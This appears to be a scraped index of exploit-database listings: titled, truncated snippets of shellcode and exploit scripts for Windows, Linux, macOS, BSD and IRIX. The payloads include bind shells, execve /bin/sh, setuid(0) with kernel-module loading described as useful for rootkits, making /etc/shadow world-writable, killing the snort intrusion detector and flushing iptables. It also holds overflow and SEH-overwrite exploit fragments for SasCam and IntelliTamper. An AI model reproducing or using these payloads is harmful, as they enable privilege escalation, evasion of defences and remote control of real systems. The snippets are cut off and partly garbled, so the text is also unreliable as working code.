Windows/x86 (XP SP3) (Turkish) - calc.exe Shellcode (53 bytes)

Windows/x86 XP SP3 Turkish - calc.exe Shellcode 53 bytes. Shellcode exploit for Windowsx86 platform. Tags: Metasploit Framework MSF Title : win32/xp sp3 Tr calc.exe Shellcode 53 bytes Proof : http://img178.imageshack.us/img178/548/proofxw.jpg Author : ZoRLu / http://inj3ct0r.com/author/577 mail-m...

Linux/x86 - Bind TCP (64713/TCP) Shell (/bin/sh) Shellcode (83 bytes)

Linux/x86 - Bind TCP 64713/TCP Shell /bin/sh Shellcode 83 bytes. Shellcode exploit for Linuxx86 platform / linux/x86 portbind /bin/sh port 64713 83 bytes http://www.gonullyourself.org sToRm / char shellcode = // : "\x6a\x66" // push $0x66 "\x58" // pop %eax "\x31\xdb" // xor %ebx,%ebx "\x53" //...

Linux/x86 - mkdir(hacked) + exit() Shellcode (36 bytes)

Linux/x86 - mkdirhacked + exit Shellcode 36 bytes. Shellcode exploit for Linuxx86 platform The comment in that file is not correct.. I cut and pasted the shell code in an existing c source and forgot to adjust it.. / This shellcode will do a mkdir of 'hacked' and then an exit Written by...

FreeBSD/x86 - reboot() Shellcode (15 bytes)

FreeBSD/x86 - reboot Shellcode 15 bytes. Shellcode exploit for FreeBSDx86 platform / FreeBSD reboot shellcode This will halt a system, which takes it offline until someone reboots it. Written by zillion at safemode.org / char shellcode =...

OSX/PPC - Stager Sock Reverse Shellcode

OSX/PPC - Stager Sock Reverse Shellcode. Shellcode exploit for OSXPPC platform. Tags: Metasploit Framework MSF ;; ; ; Name: stagersockreversenf.asm ; Qualities: Null-Free ; Platforms: MacOS X / PPC ; Authors: H D Moore ; Version: $Revision: 1.1 $ ; License: ; ; This file is part of the Metasploit...

Linux/x86 - iptables --flush Shellcode (43 bytes)

Linux/x86 - iptables --flush Shellcode 43 bytes. Shellcode exploit for Linuxx86 platform Linux/x86 iptables --flush 43 bytes Author: Hamza Megahed Twitter: @HamzaMega blog: hamza-megadotblogspotdotcom E-mail: hamzadotmegahedatgmaildotcom xor %eax,%eax push %eax pushw $0x462d movl %esp,%esi pushl...

OSX/PPC - Bind TCP (8000/TCP) Shell + OSXPPCLongXOR Encoded Shellcode (300 bytes)

OSX/PPC - Bind TCP 8000/TCP Shell + OSXPPCLongXOR Encoded Shellcode 300 bytes. Shellcode exploit for OSXPPC platform "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa" "\x38\xa5\xf8\x4a\x3c\xc0\x28\x1a\x60\xc6\x7f\x0e\x38\x85\x07\xee"...

OSX/x86 - execve(/bin/sh) Shellcode (24 bytes)

OSX/x86 - execve/bin/sh Shellcode 24 bytes. Shellcode exploit for OSX platform / Title : OSX/x86 intel - execve/bin/sh - 24 bytes Type : Shellcode Author : Simon Derouineau - simon.derouineau AT ingesup.com Platform : Mac OSX/Intel. Tested on 10.6.4 Build 10F569 Informations : This code has to be...

IRIX - stdin-read Shellcode (40 bytes)

IRIX - stdin-read Shellcode 40 bytes. Shellcode exploit for IRIX platform / 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso / unsigned long int shellcode = 0x24048cb0, / li $a0, -0x7350 / / dpatch: / 0x0490ffff, / bltzal $a0, dpatch / 0x2804ffff, / slti $a0, $zero, -1 / 0x240fffe3, / li $t...

OSX/PPC - execve(/bin/sh,[/bin/sh],NULL) + exit() Shellcode (72 bytes)

OSX/PPC - execve/bin/sh,/bin/sh,NULL + exit Shellcode 72 bytes. Shellcode exploit for OSXPPC platform / MacOSX/PowerPC Shellcode for: execve"/bin/sh", "/bin/sh", NULL, exit 72 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ / include "stdio.h" include "string.h" char shellcode =...

Linux/x86 - chmod(/etc/shadow, 0666) + ASCII Shellcode (443 bytes)

Linux/x86 - chmod/etc/shadow, 0666 + ASCII Shellcode 443 bytes. Shellcode exploit for Linuxx86 platform / | Title: Linux/x86 chmod/etc/shadow, 0666 ASCII Shellcode 443 Bytes | Type: Shellcode | Author: agix | Platform: Linux X86 / include char shellcode = "LLLLhHEY!X5HEY!"...

Linux/x86 - setuid(0) + Load Kernel Module (/tmp/o.o) Shellcode (67 bytes)

Linux/x86 - setuid0 + Load Kernel Module /tmp/o.o Shellcode 67 bytes. Shellcode exploit for Linuxx86 platform / The shellcode sets uid == 0 and loads the kernel module from /tmp/o.o size = 67 bytes OS = Linux i386 written by /rootteam/dev0id rootteam.void.ru [email protected] BITS 32 jmp shor...

Linux/x86 - /usr/bin/killall snort Shellcode (46 bytes)

Linux/x86 - /usr/bin/killall snort Shellcode 46 bytes. Shellcode exploit for Linuxx86 platform Name = John Babio Twitter = 3vi1john /usr/bin/killall snort const char sc = "\x31\xc0\x50\x6a\x74\x68\x73\x6e\x6f\x72\x89\xe6\x50\x68\x6c\x61\x6c\x6c\x68\x2f\x6b"...

Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (29 bytes)

Linux/x86 - setuid0 + execve/bin/sh Shellcode 29 bytes. Shellcode exploit for Linuxx86 platform / 29 byte-long setuid0 + execve"/bin/sh",... shellcode by Marcin Ulikowski / include char shellcode = "\x31\xdb" / xor %ebx,%ebx / "\x8d\x43\x17" / lea 0x17%ebx,%eax / "\xcd\x80" / int $0x80 / "\x53" /...

OpenBSD/x86 - setuid(0) + Load Kernel Module (/tmp/o.o) Shellcode (74 bytes)

OpenBSD/x86 - setuid0 + Load Kernel Module /tmp/o.o Shellcode 74 bytes. Shellcode exploit for OpenBSDx86 platform / The modload shellcode setuid0 loads /tmp/o.o module very usefull if you have rootkit as kernel module in the /tmp dir Size 74 bytes OS OpenBSD /rootteam/dev0id rootteam.void.ru...

Linux/x86-64 - Bind TCP (Random TCP Port) Shell + Null-Free Shellcode (57 bytes)

Linux/x86-64 - Bind TCP Random TCP Port Shell + Null-Free Shellcode 57 bytes. Shellcode exploit for Linuxx86-64 platform / Shell Bind TCP Random Port Shellcode - C Language - Linux/x8664 Copyright C 2013 Geyslan G. Bem, Hacking bits http://hackingbits.com [email protected] This program is free...

Linux/x86-64 - Read /etc/passwd Shellcode (82 bytes)

Linux/x86-64 - Read /etc/passwd Shellcode 82 bytes. Shellcode exploit for Linuxx86-64 platform BITS 64 ; Author Mr.Un1k0d3r - RingZer0 Team ; Read /etc/passwd Linux x8664 Shellcode ; Shellcode size 82 bytes global start section .text start: jmp pushfilename readfile: ; syscall open file pop rdi ;...

SasCam WebCam Server 2.6.5 Overflow Exploit

Sub rootIT puts0m3shit = String8293, "a" eip = unescape"%EC%7E%E3%77" // call esp User32.dll Module 77 E3 7E EC noping = String20, unescape"%90" lnj3ctc0d3 = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" &...

IntelliTamper 2.07/2.08 Local Stack Overflow Exploit

usage: exploit.py print "" print " IntelliTamper 2.07/2.08 ProxyLogin Local Stack Overflow\n" print " Author: His0k4" print " Tested on: Windows XP Pro SP2 Fr\n" print " Greetings to:" print " All friends & muslims HaCkersdz\n" print "" header =...

IntelliTamper Local SEH Overwrite Exploit

!/usr/bin/python IntelliTamper 2.07/2.08 MAP File 0-day Local SEH Overwrite Exploit Bug discovered by cN4phux Tested on: IntelliTamper 2.07/2.08 / win32 SP3 FR Shellcode: Windows Execute Command calc Here's the debugger output like what u see, the EIP overwritten & attempt to read from address...